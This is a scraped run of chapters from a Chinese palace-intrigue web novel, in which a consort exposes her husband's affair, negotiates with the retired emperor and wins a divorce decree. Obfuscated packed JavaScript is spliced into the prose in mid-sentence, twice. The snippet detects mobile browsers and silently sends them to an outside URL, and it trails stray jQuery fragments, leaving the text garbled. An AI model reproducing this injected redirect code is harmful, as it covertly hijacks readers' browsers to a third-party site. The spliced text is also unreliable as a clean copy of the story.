而那个所谓的侍女,此刻正偷偷打量着四周的陈设,眼中闪着掩不住的艳羡。 姜绾歌唇角微勾,端起茶盏轻啜一口,忽然开口:怎么,没见过世面? 第107章 看到些有趣的事 那女子吓得一颤,慌忙低头:奴、奴婢...... 本宫记得,姜绾歌慢条斯理地抚平衣袖,这支珍珠簪是去年太后赏给各府侧妃的恩典。 她忽然转过头盯着那女子,怎么,王爷已经许了你侧妃之位? 四周几位夫人闻言,纷纷侧目。那妾室脸色刷白,嘴唇哆嗦着却说不出话。 姜绾歌轻笑一声:也是,能跟着进宫赴宴的"侍女",自然不是普通奴婢。 姜绾歌拿起了酒杯,指尖轻轻摩挲着杯沿,不过,这支侧妃规制的簪子,戴在你头上倒是合适得很。 那妾女子脸色瞬间惨白,双腿发软几乎站立不住。 王爷待你倒是用心,连这样的物件都舍得给。姜绾歌微微倾身,压低声音,只是不知,若让满朝命妇知道这支簪子的来历...... 王妃饶命!那女子声音发颤,这、这是王爷硬要给奴婢戴的...... 嘘——姜绾歌纤指轻抵唇瓣,眼中寒光闪烁,宫宴之上,慎言。 她忽然绽开一抹明艳的笑,既然王爷赏了你,那便好好戴着。只是...... 她伸手为对方正了正发簪,指尖却在收回时故意一勾,让那珍珠簪更加摇摇欲坠:记住了,有些东西,戴得上去,未必戴得稳。 那女子浑身发抖,额角渗出细密的汗珠。就在这时,殿外传来太监尖细的唱报:太上皇驾到——众王爷到—— 随着太监尖细的唱喝声,殿内众人纷纷跪拜。 姜绾歌垂首行礼,目光落在光可鉴人的金砖地面上,耳边是此起彼伏的请安声。 平身。 一道威严中带着几分熟悉的嗓音传来,姜绾歌正要起身,却忽然僵住——这声音...... 她猛地抬头,龙椅上端坐的明黄身影让她瞳孔骤缩。 冕旒下的那张脸,分明是那夜去落枫集的半路遇见的黄老头。 记忆如潮水般涌来—— 那晚撞见这老头时,他身边仅有一个侍从,两人的马车走不了了,招手让她帮忙。 中间还出现黑衣人,几个人一起打,老头走的时候还硬塞糖过来。 老头那句:“后会有期。” 她当时只当是疯老头的胡话...... 姜绾歌! 王爷压低的声音将她惊醒。她这才发现满殿众人都已起身,唯有她还跪在原地。 她抬起头,只见龙椅上的老者神色肃穆,目光平静地扫过众人,丝毫未在她身上停留。 姜绾歌赶忙起身,强自镇定,心中却如翻江倒海。 她怎么也没想到,那个在落枫集半路偶遇,看起来像个老顽童的黄老头,竟会是高高在上的太上皇。 宫宴在略显异样的氛围中继续。姜绾歌虽佯装镇定地坐在席间,可心思全然不在宴会上。 她时不时偷眼看向主座上的太上皇,试图从那张威严的面容上寻出一丝那晚老头的影子,却一无所获。 那个侍女站在姜绾歌身后,手指不安地绞着衣角。 她偷眼瞥向王爷的方向,见对方正朝她使眼色,终于鼓起勇气,弯腰低声道。 王妃...…女子弯着腰,声音细若蚊蝇,奴婢想去更衣...... 哦?姜绾歌端起茶盏抿了一口,方才入宫前不是刚去过? 女子的手指绞紧了衣带:奴婢......奴婢突然觉得头晕...... 头晕?姜绾歌终于转过头,目光在她脸上逡巡,让我看看。 她突然伸手按住女子的脉搏,脉象平稳得很。 女子额角渗出细汗:许是...…许是殿内炭火太旺...... 是吗?姜绾歌松开手,指了指殿角敞开的雕花窗,那边通风很好,要不你去站会儿? 奴婢......奴婢......女子急得眼眶发红,突然压低声音,实不相瞒,奴婢方才不小心打翻了茶盏,衣裙都湿了...... 姜绾歌挑眉:打翻在哪儿了? 就......就在偏厅...... 什么时候的事? 半刻钟前...... 姜绾歌突然轻笑:半刻钟前,你明明一直站在我身后。 女子脸色刷地变白,膝盖一软差点跪下。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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侍女压低声音:“嬷嬷,靖王殿下正和一个女子在那私会呢,听说那名女子是青楼来的。王妃怕处理不好,坏了皇家名声。” 嬷嬷脸色一变,急忙走进宫殿禀报太后。 与此同时,青柠又以最快速度赶到几位朝中重臣所在的偏殿,找到其中一位大人的心腹随从,说道:“这位大哥,我家王妃在东面回廊遇到棘手事,涉及王爷,怕影响朝廷安稳,想请您家大人过去一趟,还望大哥通融通融。” 随从一听与王爷有关,不敢耽搁,赶忙告知自家大人。 不多时,太后在嬷嬷搀扶下,带着一众宫女太监匆匆赶来。 几位朝中重臣也神色匆匆地跟在后面。 而太上皇那边,太监已经将消息传了过去,太上皇脸色阴沉,也朝着这边赶来。 太监往太上皇处传消息时,另一道消息也悄然递到了乾清宫。 皇上正与翰林院学士议完折子,指尖捏着那封写满“靖王私会青楼女子”的密报,玉镇纸重重磕在案上:“宫宴期间闹出这等丑事,成何体统!” 他拂袖起身时,玄色龙袍下摆扫过金砖,腰间玉带勾碰撞出清响。 姜绾歌远远瞧见众人过来,赶忙迎上前去,先向太后跪地请安:“太后,儿媳惊扰您了,可方才瞧见的事,实在不知如何是好。” 太后神色凝重:“起来吧,到底何事?” 姜绾歌欲言又止,看了一眼角落,众人随着姜绾歌的视线走过去。 廊柱后的阴影里,一眼就瞧见了正在私会的两人。 王爷将青柳紧紧压在雕花窗棂上。 女子娇小的身躯被他完全笼罩,水绿色宫装衣带早已松散…… 王爷…...别…...青柳仰着脖颈轻喘,却被封住了唇。 珍珠簪斜斜坠在鬓边,随着两人激烈的动作摇摇欲坠。 小妖精,本王终于把你从青楼赎出来了。他咬住她耳垂,穿成这样进宫,是不是就等着我…... 奴婢没有…...青柳假意推拒,手却主动环上他的脖子。 太后顿时脸色铁青,怒喝道:“这成何体统!” 王爷和青柳被这怒喝声惊到,慌忙分开。 王爷看清来人,吓得脸色惨白,扑通一声跪地:“父皇,母后,儿臣……” 青柳更是吓得瘫倒在地,浑身抖如筛糠。 太上皇满脸怒容,指着王爷说道:“靖王,你身为皇室宗亲,竟敢在宫宴期间与不明女子私会,简直有辱皇家尊严!” 一位重臣皱着眉头,说道:“王爷,您此举实在不妥,朝堂之上,大家都以您为表率,您却做出这等事。” 顾清舟低着头,不敢言语。 顾铭轩赶到东面回廊,正见太上皇铁青着脸指斥靖王,太后扶着朱柱微微发颤,几位重臣垂眸避着这难堪场面。 “父皇且息怒。”皇上抬手虚扶太上皇,目光扫过满地凌乱的珠翠,落在瑟缩在地的青柳身上时,眸色骤冷。 “御花园外便是六部官员宴饮的偏殿,若叫人撞见这般景象,朝堂该如何议论皇家?” 姜绾歌此时泪流满面的从外面进来,在一旁装作一脸震惊和痛心的样子,说道:“太上皇,儿媳瞧见这一幕,实在是无地自容。王爷做出此等事,让儿媳以后如何自处啊。” 太上皇看了看姜绾歌,又怒视着王爷,说道:“靖王,你太让朕失望了!” 王爷赶忙磕头:“父皇,儿臣知错了,求父皇恕罪。” 太后突然重重拄了下凤头杖,她凌厉的目光扫过瘫软在地的青柳,这侍女是哪家的? 青柳抖得更厉害了。 姜绾歌适时上前半步:回太后,她是...…她故意欲言又止。 说!太后厉声道。 是醉月楼的清倌人。姜绾歌低头,声音恰到好处地带着哽咽,王爷上月就…...就常去那里。 皇上猛地转头看向王爷:皇弟! 王爷额头渗出豆大的汗珠:不是的!她只是…... 只是什么?太上皇冷笑,只是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15802685|174770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你从青楼赎回来的相好?他转向太后,你怎么看? 太后气得浑身发抖:这等**胚子也敢带进宫来!她突然指向姜绾歌,倒是委屈了王妃。 姜绾歌立刻跪下:求母后为儿媳做主。 她趁热打铁说道:“父皇,母后,王爷做出此等丑事,儿媳实在是无颜再做靖王妃。还望父皇为儿媳做主,准许儿媳与王爷和离。” 太上皇看着姜绾歌,神色严肃:“靖王妃,和离之事,非同小可。皇家婚姻,关乎皇室颜面,不可因一时之气而草率决定。” 姜绾歌心中一紧,焦急地说道:“太上皇,王爷如此行径,实在让儿媳无法忍受。儿媳若继续与王爷生活,恐怕日后受尽委屈,皇家颜面也会受损啊。” 太上皇沉思片刻,缓缓说道:“朕明白你的委屈,但靖王毕竟是皇室宗亲,此事若传扬出去,对皇室影响极坏。” 都起来吧。皇上突然开口,语气平静得可怕,这事关重大,需从长计议。他看向太上皇,父皇,不如先让靖王回府思过? 太上皇沉吟片刻:你们先退下,我与王妃有话要说。他厌恶地扫了眼青柳,这侍女先送去慎刑司。 青柳顿时瘫软在地,哭喊着抱住王爷的腿:王爷救命!奴婢不是…... 众人退去后,御书房内只剩下姜绾歌跪在金砖上的身影。鎏金兽首香炉吐着龙涎香,她盯着地面上自己的倒影,忽然看见一双明黄靴子停在了面前。 丫头,受委屈啦。 熟悉的松子糖递到眼前,姜绾歌猛地抬头。冕旒早已取下,眼前的太上皇眉眼弯弯,分明又是那夜在落枫集外遇见的黄老头。 先吃颗糖。他晃了晃手里的糖块,琥珀色的糖浆在烛光下晶莹剔透。 姜绾歌接过糖,指尖微微发抖。 糖块入口的瞬间,那夜并肩作战的记忆汹涌而来。 她突然腿一软,直接坐在地上。 黄老头......甜味在舌尖化开,她声音里带着自己都没察觉的哽咽,你骗我。 第109章 跟黄老头谈判 太上皇撩起龙袍下摆,毫无形象地蹲在她面前:我说了是宫里人,是你自己误会成太监的。他指了指自己眼角笑纹,你见过这么英俊的太监? 姜绾歌白了他一眼,却忍不住嘴角微扬。紧绷多日的神经突然松懈,眼泪就这么掉了下来。 哎哟喂!太上皇手忙脚乱地掏帕子,糖里有辣椒不成? 我要和离。姜绾歌抹了把脸,直直望进他眼里,必须要和离。 烛火在御书房内轻轻摇曳,将太上皇凝重的面容映照得忽明忽暗。 他缓缓地走到黄花梨木椅上坐下,手指无意识地摩挲着案几上的玉镇纸。 绾歌啊…...太上皇长叹一声,声音里透着疲惫,朕知道你心里苦。 姜绾歌见他又变回威严的模样,于是她也跪坐在地上,腰背挺得笔直。 窗外一阵风吹来,带着御花园的桂花香,却吹不散屋内凝重的气氛。 但皇家的规矩和颜面,太上皇抬起眼,目光如炬,不是能轻易抛开的。 姜绾歌深吸一口气,袖中的手指悄悄攥紧。她抬眼直视太上皇:黄老头,我明白皇家有诸多考量。但.….. 她顿了顿,我有能让您不得不慎重考虑的理由。 太上皇挑眉:哦? 醉仙楼是我名下的产业。姜绾歌声音清亮,它不仅仅是个酒楼。 她从怀中取出一本薄册,双手奉上。太上皇接过,翻开第一页,上面密密麻麻记录着各地官员的动向。 南来北往的客商、文人墨客,都在醉仙楼里交流信息。姜绾歌指向其中一条记录,比如这个,礼部侍郎上月收了江南盐商十万两白银。 太上皇的手指猛地一顿。 我能利用这个情报网,姜绾歌继续道,帮朝廷监控各地官员。若有****、结党营私的,可以第一时间将消息传递给您。 太上皇合上册子,眼中闪过一丝惊讶:你一个女子,竟能有这般手段? 姜绾歌唇角微扬:女子又如何?她指了指册子最后一页,这里还记着兵部尚书挪用国库的证据。 窗外的桂花突然被风吹落几朵,飘飘荡荡落在案几上。 太上皇沉默片刻,将册子放在一旁:仅凭这个,还不足以让朕准你和离。 姜绾歌早有准备,又从袖中取出一个锦囊:请看看这个。 太上皇打开锦囊,倒出几粒晶莹剔透的珠子:这是... 玻璃珠。姜绾歌轻声道,我能教朝廷制作玻璃的法子。 她起身走到窗前,指着窗棂上镶嵌的云母片:若换成玻璃,不仅透亮,还能挡风遮雨。达官贵人会争相购买,寻常百姓也能用上。 太上皇将玻璃珠对着烛光细看,珠子折射出七彩光芒。 这生意若由朝廷垄断,姜绾歌回到座位,每年至少能增收三百万两白银。 三百万两?太上皇手指一颤,玻璃珠差点掉落。 姜绾歌点头:而且…...她压低声音,制作玻璃的副产品,经过提炼能用于制造**。 茶杯突然从太上皇手中滑落,在地上摔得粉碎。 门外的侍卫立刻探头:太上皇? 无妨。太上皇摆摆手,待侍卫退下后,死死盯着姜绾歌:你可知欺君之罪…... 我可以先献上部分配方。姜绾歌不慌不忙地取出一张纸,请让工部的匠人试试。 太上皇接过配方,手指微微发抖:若真能成…... 还有一事。姜绾歌趁热打铁,关于国库。 她取出一卷图纸铺开:这是"连锁经营"的模式。比如醉仙楼,可以在各州府开设分号,统一管理。 图纸上详细标注了货物调配、银钱往来的流程。 如此一来,姜绾歌指着其中一条线路,江南的丝绸可以直接运往北境,省去中间商赚差价,朝廷税收至少翻倍。 窗外的更鼓声传来,已是三更天。 太上皇揉了揉眉心:你这些法子,从何处学来? 姜绾歌抿了抿唇:我娘留下的嫁妆里,有些海外奇书。 一阵沉默后,太上皇突然问道:你想要什么? 和离。姜绾歌毫不犹豫,还有自由经商的许可。 若朕不答应呢? 姜绾歌直视太上皇的眼睛:那明日早朝,满朝文武 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15808284|174770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都会知道,靖王在青楼一掷千金,用的都是国库。 你!太上皇猛地站起,龙袍带起一阵风。 姜绾歌不卑不亢:我有账本为证。 两人对峙片刻,太上皇突然大笑:好!好个姜绾歌! 他走回案几前,提笔蘸墨:朕准你和离。笔锋一顿,但有个条件。 您说。 醉仙楼的情报网,太上皇笔下不停,要为朝廷所用。 姜绾歌沉吟片刻:可以,但需由我亲自掌管。 准。太上皇写完最后一道诏书,盖上玉玺,玻璃的生意,朕要占七成。 五成。姜绾歌讨价还价,我还要养活手下的人。 太上皇眯起眼睛:六成,不能再少。 成交。姜绾歌伸出右手。 太上皇愣了一下,随即会意,也伸出右手。两只手在空中击掌,发出清脆的响声。 姜绾歌松了口气,这才发现后背已经被汗水浸透。 丫头。太上皇突然换了称呼,递来一块松子糖,吃颗糖压压惊。 姜绾歌接过糖,这次没有犹豫就放入口中。甜味在舌尖化开,她突然鼻子一酸。 哭什么?太上皇手忙脚乱地找帕子。 没什么。姜绾歌抹了把脸,就是...终于自由了。 太上皇叹了口气:明日早朝,无论发生什么,都别出声。 窗外,东方已经泛起鱼肚白。 回去吧。太上皇摆摆手。 姜绾歌郑重行礼,转身时听见太上皇嘀咕:这丫头,比朕那些儿子强多了…... 姜绾歌脚步一顿,她又转回来,往前凑了凑,一脸认真:“黄老头,咱把话说清楚哈。我按您说的,把醉仙楼情报网给朝廷用,可要是有人借着这个由头来给我使绊子,想打压我的生意,我可不会忍气吞声。” 太上皇乐了,斜睨着她:“哟,你还怕朕耍赖不成?” 姜绾歌毫不示弱地回瞪过去:“我这叫防患于未然。要是真有人敢动我,您可别怪我不客气。我手里的那些情报,可不光能对付几个当官的,说不定还能挖出点朝廷不想让人知道的事儿。” 第110章 合作愉快 太上皇闻言,手中茶盏咔嗒一声搁在案几上。窗外晨光熹微,照得他眉间皱纹愈发深刻。 丫头,他突然倾身向前,龙袍袖口扫落几片桂花,你这是在威胁朕? 姜绾歌不退反进,绣鞋尖抵住案几腿:我这是在谈生意。 她指尖轻点方才签好的契约,白纸黑字写着的合作,总得有些保障。 两人目光在晨光中交锋,案几上的烛火啪地爆了个灯花。 哈!太上皇突然拍案大笑,震得笔架上紫毫乱颤,好个伶牙俐齿的丫头! 他转头朝屏风后喊道,小顺子,把东西拿来! 身着靛蓝太监服的青年应声而出,捧来一个紫檀木匣。太上皇掀开匣盖,里面躺着块玄铁令牌。 认得这个么? 姜绾歌瞳孔微缩——令牌上如朕亲临四个篆字在晨光中泛着冷光。 拿着。太上皇将令牌抛给她,若有不开眼的找你麻烦,先斩后奏。 姜绾歌接住令牌,玄铁沁凉的温度让她指尖一颤:这…... 别高兴太早。太上皇眯起眼睛,令牌只能用三次。每次启用,朕都会知道。 他忽然压低声音,包括你查了谁。 窗外鸟雀啁啾,晨光已经漫过窗棂。 姜绾歌摩挲着令牌纹路,忽然笑了:黄老头,你就不怕我拿着这个去查你? 太上皇指尖在茶盏边沿轻轻敲击,发出清脆的声响。 他抬眼看向姜绾歌:丫头,你可知这天下敢查朕的,都是什么下场? 姜绾歌将令牌在掌心转了个圈:黄老头,您要真想处置我,就不会给我这块令牌了。 哼。太上皇从案几上拈起一块糕点,朕给的东西,朕也能收回来。 那您收啊。姜绾歌把令牌往案几上一拍,发出啪的一声,反正醉仙楼的情报网还在我手里。 太上皇眯起眼睛:你信不信朕现在就能让人查封醉仙楼? 您试试?姜绾歌嘴角微扬,查封一家,我还能开十家。这京城里想赚钱的掌柜多的是。 小顺子在一旁轻轻倒吸一口凉气。 太上皇却突然笑了:好个牙尖嘴利的丫头。说说,你还想要什么? 我要个保证。姜绾歌竖起一根手指,第一,我的人不能动。 继续。 第二,玻璃生意的账目我要过目。 太上皇哼了一声:还有第三? 第三...姜绾歌突然凑近,我要知道您为什么选中我。 太上皇往嘴里扔了颗松子糖,嚼得嘎嘣响:因为你够贪心,也够聪明。 就这? 还因为你...太上皇突然压低声音,跟朕年轻时一个德行。 姜绾歌挑眉:您这是在夸我? 太上皇突然正色,别玩过头。 那得看您给的筹码够不够。姜绾歌把玩着令牌,比如这玩意儿,三次太少了。 嫌少?太上皇伸手就要拿回令牌,那还朕。 姜绾歌迅速把令牌藏到身后:给了就是我的。 小顺子。太上皇突然转头,去把昨儿个收着的那匣子账本拿来。 小顺子快步退下。太上皇转回来盯着姜绾歌:知道为什么只给三次吗? 怕我用多了惹麻烦? 错。太上皇竖起一根手指,是让你想清楚再用。这令牌用一次,就少一次保命的机会。 姜绾歌若有所思地点头:那要是我用完三次...... 那就看你的本事了。太上皇往椅背上一靠,朕总不能一直给你擦屁股。 小顺子捧着账本回来,轻轻放在案几上。太上皇拍了拍账本:醉仙楼的情报,以后每月初五送到小顺子手里。 我要是不送呢? 那朕就派人去收。太上皇眯起眼睛,连本带利。 姜绾歌轻笑:黄老头,您这是吃定我了? 彼此彼此。太上皇端起茶盏抿了一口,合作愉快? 姜绾歌拿起令牌在茶盏上轻轻一碰:合作愉快。 窗外,日头已经升高,照得案几上的令牌闪闪发亮。 太上皇站起身,龙袍下摆扫过案几,时辰不早了,你该出宫了。 姜绾歌行了个礼,转身时听见身后传来太上皇的嘀咕:这丫头,比朕那几个不成器的儿子强多了...... 小顺子快步跟上:姜姑娘,奴才送您出宫。 姜绾歌摆摆手:不必,我认得路。她摸了摸腰间的令牌,嘴角微扬。 姜绾歌踏入靖王府时,东方已泛起鱼肚白。 晨露沾湿了她的裙角,在青石板上留下几道浅浅的水痕。 府中下人见她归来,纷纷低头行礼, 姜绾歌刚踏进房间,绿竹就提着裙摆小跑过来,额头上还带着细汗:娘娘,您可算回来了!王爷在书房等了一整夜,砸了三套茶盏,赵管家去劝还被踹了一脚…... 备热水,我要沐浴。姜绾歌打断她,径直走到妆台前,手指在暗格处轻轻一按,将玄铁令牌塞了进去。 绿竹跟在她身后,小心翼翼地问:娘娘要歇息吗?奴婢这就去铺床。 嗯,睡到午时。姜绾歌解开外裳的系带,谁来都不见,就说我身子不适。 可是王爷那边…... 照我说的做。 温热的水汽氤氲中,姜绾歌闭目靠在浴桶边。 门外传来急促的脚步声,接着是靖王压抑的怒喝:姜绾歌!给本王出来! 王爷,她懒洋洋地拨弄着水面花瓣,“本妃正在沐浴,没空搭理你。 父皇跟你说了什么?靖王的声音突然逼近,似乎就站在屏风另一侧。 姜绾歌语气平静:王爷若真想知道,不如亲自去问你父皇? 门外传来拳头砸在门框上的闷响,接着是渐行渐远的脚步声。 绿竹端着帕子进来,手微微发抖:娘娘,王爷方才的眼神好生吓人,像是要吃人似的…... 姜绾歌接过帕子,慢悠悠地擦着湿发:急什么?让他等着接旨就是了。 可是......绿竹欲言又止。 去把熏香点上,要安神的那种。姜绾歌走到床前,午时之前,不许任何人打扰。 是,娘娘。绿竹福了福身,轻手轻脚地退了出去,顺手带上了房门。 晌午,姜绾歌睡醒了,简单的梳妆打扮后就带着青柠和绿竹出了王府。 第111章 置宅子 朱雀大街。 东家,就是这座。牙人周管事推开黑漆大门,三进三出,还有个小花园。 姜绾歌迈过门槛,青石板缝里钻出的野草蹭过她的绣鞋。正厅的雕花门扇半开着,阳光斜斜照进去,能看到浮动的尘埃。 这宅子空了多久? 半年有余。周管事搓着手,原主人是位致仕的老翰林... 姜绾歌走到后院,忽然蹲下身。墙角一丛野薄荷长得正旺,她掐了一片在指尖揉碎。 去查查这位老翰林。姜绾歌站起身,为何致仕,又为何急着卖宅子。 周管事额头冒汗:这…...买卖不问来处是行规...... 姜绾歌从荷包取出银票:加两成佣金。 老翰林姓陈,因弹劾兵部尚书被…...周管事突然闭嘴。 姜绾歌指尖捻着那片薄荷叶,若有所思地看向周管事:这宅子要价多少? 周管事搓着手:老翰林开价八千两…... 五千。姜绾歌打断他,将薄荷叶弹开,今日就能交割。 这…...周管事额头沁出细汗,东家,这价钱实在…... 姜绾歌从袖中取出荷包:再加五百两,买你一句实话。 周管事的眼珠跟着荷包转动:东家想问什么? 陈翰林致仕后去了哪? 这…...周管事咽了口唾沫,听说回了苏州老家。 姜绾歌轻笑一声,将荷包收回袖中:周管事,你这就不厚道了。她转身走向后院水井,我听说陈翰林有个孙女…... 周管事急忙跟上:东家明鉴,那姑娘确实…... 确实什么?姜绾歌突然转身,目光如电。 周管事擦了擦汗:确实…...还在京城。 在哪? 这…...周管事左右张望,压低声音,在城西的静心庵。 姜绾歌点点头,从荷包取出银票:六千两,今日交割。再加五百两,买你闭嘴。 周管事接过银票,手指微颤:东家放心,小人什么都不知道。 西厢房改账房,后院加个厨房。姜绾歌边说边往外走,三一日内完工。 这…...时间太紧…... 加钱。姜绾歌头也不回,每日多付五十两工钱。 周管事小跑着跟上:东家,那地契…... 现在就去衙门过户。姜绾歌突然停下脚步,对了,这宅子可有密道? 周管事一个趔趄:东家说笑了,这…... 再加二百两。 周管事左右看看,凑近低声道:书房书架后有个暗格,通往后巷。 姜绾歌满意地点头:明日带工匠来,我要亲眼看着他们开工。 是是是……... 走到大门口时,绿竹忍不住问:东家,为何非要这宅子? 姜绾歌瞥了她一眼:你觉得呢? 绿竹缩了缩脖子:奴婢愚钝... 因为这井水甜。姜绾歌指了指院中的古井,去尝尝。 绿竹疑惑地走到井边,打上来一桶水。姜绾歌舀了一瓢递给她:喝。 绿竹小心地抿了一口,眼睛一亮:真的甜! 姜绾歌轻笑:记住,买宅子先看水井。她转身对周管事道:明日辰时,我要看到工匠。 东家放心!周管事连连鞠躬,包您满意! 姜绾歌站在院中环视一周,突然指向东南角的围墙:那里再加高两尺。 周管事掏出帕子擦了擦额头的汗珠:东家,这恐怕... 工钱再加三十两。姜绾歌打断他,手指轻轻敲击着腰间的荷包,用青砖砌,要结实。 是是是...周管事连连点头,突然压低声音凑近:东家,有件事得提醒您... 姜绾歌挑眉:说。 这宅子...周管事左右张望,声音压得更低了,隔壁住着个怪人。 绿竹好奇地凑近:什么怪人? 来无影去无踪的。周管事搓着手,眼睛不停地往四周瞟,街坊们都说,经常半夜看见黑影翻墙进出,但从没人看清长相... 姜绾歌眼睛一亮:有意思。再加五十两,把你知道的都告诉我。 周管事咽了口唾沫,从袖中掏出一张皱巴巴的纸条:上个月有个更夫说,看见那人从三丈高的墙头一跃而下,落地一点声响都没有... 姜绾歌接过纸条,上面歪歪扭扭地写着日期和时辰:这些是? 是...是那人出现的时辰。周管事擦了擦汗,更夫记下的。 哦?姜绾歌来了兴致,将纸条收好,带我去靠那边的院子看看。 推开西厢房的窗户,正对着隔壁院落。姜绾歌眯眼仔细观察:院墙上的青苔…... 怎么了东家? 有经常被人抓握的痕迹。姜绾歌指着几处发亮的苔藓,每隔三尺就有一处,看来这位邻居身手不错。 周管事紧张地搓着手:东家,要不咱们再看看别的宅子... 不必。姜绾歌转身走向书房,突然在门槛处停下,这门框…... 绿竹凑近查看:好像有划痕? 是剑痕。姜绾歌用手指丈量着痕迹的深度,三寸七分,使剑之人内力不俗。 推开书房门,姜绾歌突然停在一排书架前:这些书…... 都是陈翰林留下的。 姜绾歌抽出一本《孙子兵法》,书页间夹着张纸条,上面画着奇怪的符号。 这是... 周管事慌忙摆手:小人可什么都不知道! 姜绾歌将纸条对着阳光细看,眉头微蹙:这标记…... 周管事慌忙摆手:东家明鉴,这些书都是陈翰林留下的,小人实在不知情啊! 姜绾歌指尖轻抚纸上的符号:像是某种暗记…...她突然转向周管事,陈翰林平日可有什么特别的习惯? 周管事擦了擦汗:这个...听说老翰林喜欢夜读,常常书房灯火通明到三更…... 夜读?姜绾歌若有所思地看向窗外正对着的隔壁院落,有意思…... 周管事搓着手:东家,这宅子... 我要了。姜绾歌斩钉截铁地说,明日辰时,带工匠来。工钱再加五十两。 可是东家,这隔壁…... 姜绾歌轻笑一声:正好缺个练手的靶子。她走到院中,突然抬头看向隔壁墙头:你说是不是? 第二日,阳光透过窗户纸,姜绾歌已经坐在梳妆台前。 铜镜里映出她慢条斯理描眉的模样,玉簪在晨光中泛着温润的光泽。 娘娘今日气色真好。青柠正为她整理衣襟,外头突然传来杂乱的脚步声。 第112章 和离圣旨 姜绾歌指尖一顿,胭脂在唇畔晕开一抹艳色:来了。 院门被猛地推开,小厮慌慌张张冲进来:王妃娘娘,宫里、宫里来人了! 她从容起身,裙摆扫过地上的阳光碎片:慌什么,不过是道圣旨。 穿过回廊时,远远就看见靖王衣衫不整地站在庭院中央,发冠都歪了。 宣旨太监手持明黄卷轴,身后跟着两列带刀侍卫,惊得满院的麻雀扑棱棱飞上屋檐。 王爷昨夜又宿在外头哪个角落?姜绾歌经过靖王身边时轻声道,连朝服都来不及换。 靖王脸色铁青,正要发作,太监已经抖开圣旨:靖王、靖王妃——接旨! 满院仆从哗啦啦跪了一地。姜绾歌缓缓屈膝,阳光正好照在她挺直的背脊上。 宣旨太监展开明黄色的圣旨,清了清嗓子,高声宣读:“奉天承运,皇帝诏曰:靖王顾清舟,身为皇室宗亲,不思谨言慎行,维护皇家尊严,竟在宫宴期间与青楼女子私会,此等行径,荒淫无度,有辱皇家门楣,令皇室威严受损。” “靖王妃姜绾歌,自入王府,秉持妇德,操行端正,面对靖王如此恶行,实难维系夫妻之义。” “朕念及靖王妃并无过错,且其与靖王缘分已尽,特准靖王与靖王妃姜绾歌和离。自即日起,姜绾歌恢复自由之身,可自由婚嫁,任何人不得加以阻拦、刁难。姜绾歌在王府期间并无过错,其嫁妆等一应财物,皆可尽数带走。钦此!” 宣读完毕,四周一片寂静。众人都被这旨意惊得说不出话来。过了好一会儿,王府中才响起一阵窃窃私语。 “王爷怎么做出这种事,这下好了,以后我们要是出府上街采购东西,别人都在戳我们的脊梁骨。”一个丫鬟小声不满说道。 “是啊,王妃平日里待咱们都不错,王爷却做出这等丑事,如今和离也是王爷咎由自取。”另一个小厮附和道。 靖王跪在地上,脸色惨白如纸,身体止不住地颤抖。 不可能!靖王一把抢过圣旨,父皇怎么会... 姜绾歌从容起身:王爷,圣旨撕不得。 靖王攥着圣旨的手青筋暴起:是你!是你蛊惑父皇! 王爷慎言。宣旨太监冷声道,太上皇还有口谕:若王爷抗旨,即刻削爵圈禁。 满院仆从倒吸凉气。 他怎么也没想到,太上皇竟真的下旨准了和离。 “父皇,儿臣知错了,求父皇收回成命啊!” 靖王抬起头,双眼通红,向着皇宫的方向连连磕头。 姜绾歌神色平静,恭敬地接过圣旨,叩谢皇恩:“民女姜绾歌,谢太上皇隆恩。” 靖王转头看向姜绾歌,眼中满是愤怒与不甘:“姜绾歌,是不是你在父皇面前说了什么?是不是你非要将本王置于死地?” 姜绾歌抬起头,直视靖王的眼睛,冷冷说道:“王爷,你做出此等丑事,怪不得旁人。如今这结果,是你自作自受。” 一旁的管家赶忙劝道:“王爷,圣旨已下,还请遵旨谢恩啊。” 靖王却充耳不闻,依旧怒视着姜绾歌:“姜绾歌,你别得意。和离之后,你以为你能好过?” 姜绾歌冷笑一声:“王爷,我能否好过,与你无关。从今日起,我与你再无瓜葛。” 姜绾歌!靖王将圣旨摔在地上,你以为和离就能摆脱本王? 做梦!靖王一把抓住她手腕,你的嫁妆,休想带走一分一毫! 姜绾歌挣脱他的手,弯腰拾起圣旨:圣旨上白纸黑字写着呢。 她晃了晃手中圣旨,王爷要抗旨? 靖王咬牙切齿:那些铺子、田产... 都是我的嫁妆。姜绾歌抽回手,王爷若不服,大可去敲登闻鼓。 这时,王府中的妾室们也都神色各异。 姜绾歌目光掠过满院神色各异的面孔。 桃红衫子的林姨娘捏着帕子掩唇,眼底跳动着幸灾乐祸的火苗。 素来温顺的兰姨娘绞着衣带,不时偷瞄靖王惨白的脸色。 最年轻的梅侍妾干脆歪在廊柱边,指尖绕着发梢打转,盘算着另谋出路。 王妃......老管家颤巍巍伸手要扶,却在触及她衣袖前缩回了手。 